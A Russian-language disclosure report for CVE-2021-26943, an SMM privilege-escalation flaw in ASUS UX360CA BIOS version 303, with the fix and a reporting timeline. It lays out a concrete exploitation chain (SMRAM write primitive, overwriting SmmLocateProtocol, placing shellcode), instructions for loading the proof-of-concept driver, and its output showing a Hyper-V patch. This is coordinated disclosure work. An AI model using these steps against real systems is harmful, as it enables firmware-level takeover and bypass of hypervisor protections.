SmmExploit

Это отчет и эксплойт для CVE-2021-26943 — локального повышения привилегий от уровня ядра до SMM в BIOS версии 303 для ASUS UX360CA. Проблема была исправлена в версии 304.

Описание проблемы

Краткое описание

BIOS версии 303 для UX360CA содержит 3 уязвимых модуля, которые позволяют атакующему с привилегиями ring0 перезаписывать почти произвольную физическую память, включая SMRAM, и выполнять произвольный код в SMM.

Эти модули можно идентифицировать следующим образом:

Эти модули произведены компанией AMI (вендор BIOS) и могут присутствовать в BIOS других OEM-производителей.

Уязвимости

Уязвимые модули и соответствующие им SMI: UsbRt (0x31), SdioSmm (0x40) и NvmeSmm (0x42). Все эти SMI-обработчики читают физический адрес 0x40E, чтобы получить адрес для работы, и записывают один байт по этому адресу в случае ошибки, даже если это SMRAM.

Например, SMI-обработчик SdioSmm выглядит следующим образом:

EFI_STATUS
EFIAPI
SdioSmm_SwSmi_40h(
  EFI_HANDLE  DispatchHandle,
  CONST VOID  *Context,
  VOID        *CommBuffer,
  UINTN       *CommBufferSize
  )
{
  // ...
  struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
  if ( EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0)))
    || userControlled->Offset0_FunctionCode >= 4 )
  {
    userControlled->Offset2 = 7;
  }
  else
  {
    // ...
  }
  return EFI_SUCCESS;
}

Эта проблема, по-видимому, идентична INTEL-SA-00057, которая отлично описана в Aptiocalypsis. Однако BIOS версии 303 для UX360CA не содержит исправлений для них.

Эксплуатация

Это позволяет атакующему с доступом на запись к физической памяти и инструкцией OUT (то есть привилегиями ring0) перезаписать содержимое SMRAM, выполнив следующие шаги:

1. Убедитесь, что физический адрес 0x40e равен нулю (скорее всего, это уже так)
2. Запишите адрес SMRAM, например 0x88400000, по физическому адресу 0x104
3. Вызовите SMI 0x40
4. Адрес 0x88400000+2 обновляется значением 0x7.

Это можно использовать для достижения произвольного выполнения кода в SMM следующим образом:

1. Найдите адрес таблицы служб управления системой (SMST) в SMRAM, выполнив следующие шаги:
   1. Получите диапазон физических адресов для кода среды выполнения UEFI из содержимого значения .Raw в HKLM\HARDWARE\RESOURCEMAP\System Resources\Loader Reserved
   2. Найдите адрес SMM_CORE_PRIVATE_DATA, сканируя сигнатуру 'smmc' в указанном диапазоне адресов.
   3. SMM_CORE_PRIVATE_DATA содержит указатель на SMST по смещению 30h
2. Перезапишите указатель на функцию SmmLocateProtocol по смещению d0h в SMST, используя описанный выше примитив записи. Значение обновляется до 0x07070707.
3. Запишите шелл-код в физическую память по адресу 0x07070707
4. Вызовите другой SMI, который обращается к Smst->SmmLocateProtocol, например SMI 0xdf. Шелл-код по адресу 0x07070707 выполняется в SMM.

Произвольное выполнение кода в SMM позволило бы атакующему обойти меры безопасности, реализованные ядром и гипервизором, такие как HVCI, как продемонстрировано в другом отчете об уязвимости SMM, и обеспечить постоянство, обновляя содержимое SPI-флеша (BIOS).

Доказательство концепции (PoC)

Прилагаемый демонстрационный проект демонстрирует успешную эксплуатацию и дамп содержимого MSR, доступных только в SMM, а также физического адреса EPTP. Он также модифицирует код обработки CPUID VM-exit гипервизора Hyper-V, заставляя его возвращать изменённую строку вендора гипервизора.

PoC протестирован на Windows build 18362.1256, с включённым и выключенным HVCI.

Видеозапись успешной эксплуатации можно найти на YouTube.

Инструкции по тестированию

1. Откройте demo.sln в Visual Studio 2019
2. Соберите решение в конфигурации Debug или Release
3. Скопируйте скомпилированный demo.sys в целевую систему (например, C:\users\user\desktop\demo.sys)

На целевой системе:

1. Отключите Secure Boot в BIOS и перезагрузитесь
2. Включите режим тестовой подписи и перезагрузитесь
   root@kitploit:~

   > bcdedit /set testsigning on
   

3. Создайте службу для загрузки demo.sys
   root@kitploit:~

   > sc create demo type= kernel binPath= C:\users\user\desktop\demo.sys
   

4. Запустите DebugView и включите «Capture Kernel» в меню «Capture».
5. Запустите демонстрацию
   root@kitploit:~

   > sc start demo
   

6. В случае успеха DebugView покажет значения MSR, связанных с SMM.
   root@kitploit:~

   [+] ReportSmramRange: TSEG implied SMRAM: 0x88400000 - 0x88800000
   [-] ReportSmramRange: Exception occurred while accessing SMRR MSR : c0000096
   [+] FindSystemManagementServiceTable: SMM core found at 0x87f1b390 in RT Code
   [+] FindSystemManagementServiceTable: SMST found at 0x887fa710 in SMRAM
   [+] ExploitSmm: Patched SMST->SmmLocateProtocol in SMRAM
   [+] ExploitSmm: Placed SMM shell code
   [+] ExploitSmm: Triggered SMM exploit
   [+] DumpSmmExploitOuput: IA32_SMBASE             = 0x887cd000
   [+] DumpSmmExploitOuput: MSR_SMM_FEATURE_CONTROL = 0x1
   [+] DumpSmmExploitOuput: MSR_SMM_MCA_CAP         = 0xc00000000000000
   [+] DumpSmmExploitOuput: EPT pointer             = 0x10a72001e
   [+] DumpSmmExploitOuput: Patched Hv address      = 0x1004382f0
   [+] ExploitSmm: Successfully executed shell code in SMM. Failing DriverEntry to unload itself
   DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\demo
   

Исправление

Исправление заключается в том, чтобы полностью избегать использования содержимого, контролируемого пользователем, когда оно указывает внутрь SMRAM, как показано ниже.

{
  // ...
  struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
  if (!EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0))))
  {
    if (userControlled->Offset0_FunctionCode < 7 )
    {
      // ...
    }
    else
    {
      userControlled->Offset2 = 7;
    }
  }
  return EFI_SUCCESS;
}

Соображения

Отсутствие защиты для гипервизора

Исправление полностью соответствует современной лучшей практике отрасли и предотвращает атаку «запутанного посредника» (confused deputy), приводящую к повреждению SMRAM.

Однако обратите внимание, что оно не учитывает области памяти гипервизора. Атакующий, знающий физический адрес памяти, где загружен или используется гипервизор, всё ещё может вызвать SMI для перезаписи кода или данных гипервизора и добиться его повреждения.

Это широко распространённая, давно существующая и даже архитектурная проблема.

Отсутствие эшелонированной защиты

Сообщённые проблемы были устранены, но были некоторые проблемы с реализацией стратегии эшелонированной защиты.

Например, таблица страниц SMM использует идентичное отображение с полными правами чтения, записи и исполнения, а функция SMM_Code_Chk_En была недоступна. Это делало эксплуатацию тривиальной. Я также заметил, что буфер связи SMM не проверяется с помощью SmmIsBufferOutsideSmmValid() как в EDK2, хотя эксплуатируемый SMI я не нашёл.

Я считаю, что это распространённые проблемы у разных OEM и во многих версиях BIOS. Я обращаю внимание на то, что если у вас старые модели от любых OEM, их BIOS вряд ли будет настолько безопасным, как вам хотелось бы, даже с последними версиями BIOS.

Улучшения

Эти проблемы не исчезнут в ближайшее время, но я рад видеть, что индустрия работает над архитектурным решением, снижая привилегии SMM. Вот некоторые из этих работ и статей, которые можно посмотреть:

• Platform Runtime Mechanism (PRM)
  • Презентация (Open-Source Firmware Conference 2020)
  • Спецификация (uefi.org)
  • Реализация (edk2-staging)
• Подробный разбор System Management Mode: как изоляция SMM укрепляет платформу
• Системные требования для System Guard

Хронология

Вот некоторые основные моменты.

• 2020-12-31 — Я сообщил об уязвимости
• 2021-01-05 — ASUS подтвердила получение сообщения
• 2021-01-18 — ASUS прислала мне исправленную версию BIOS для тестирования
• 2021-01-20 — Я подтвердил исправление и ответил
• 2021-01-25 — ASUS подтвердила мой ответ
• 2021-03-21 — ASUS опубликовала исправление, версия 304
• 2021-03-29 — ASUS выпустила уведомление для CVE-2021-26943

Наконец, огромное спасибо командам ASUS за тесное и прозрачное общение в процессе работы❤ В целом процесс был не быстрым, но зато без лишних сложностей.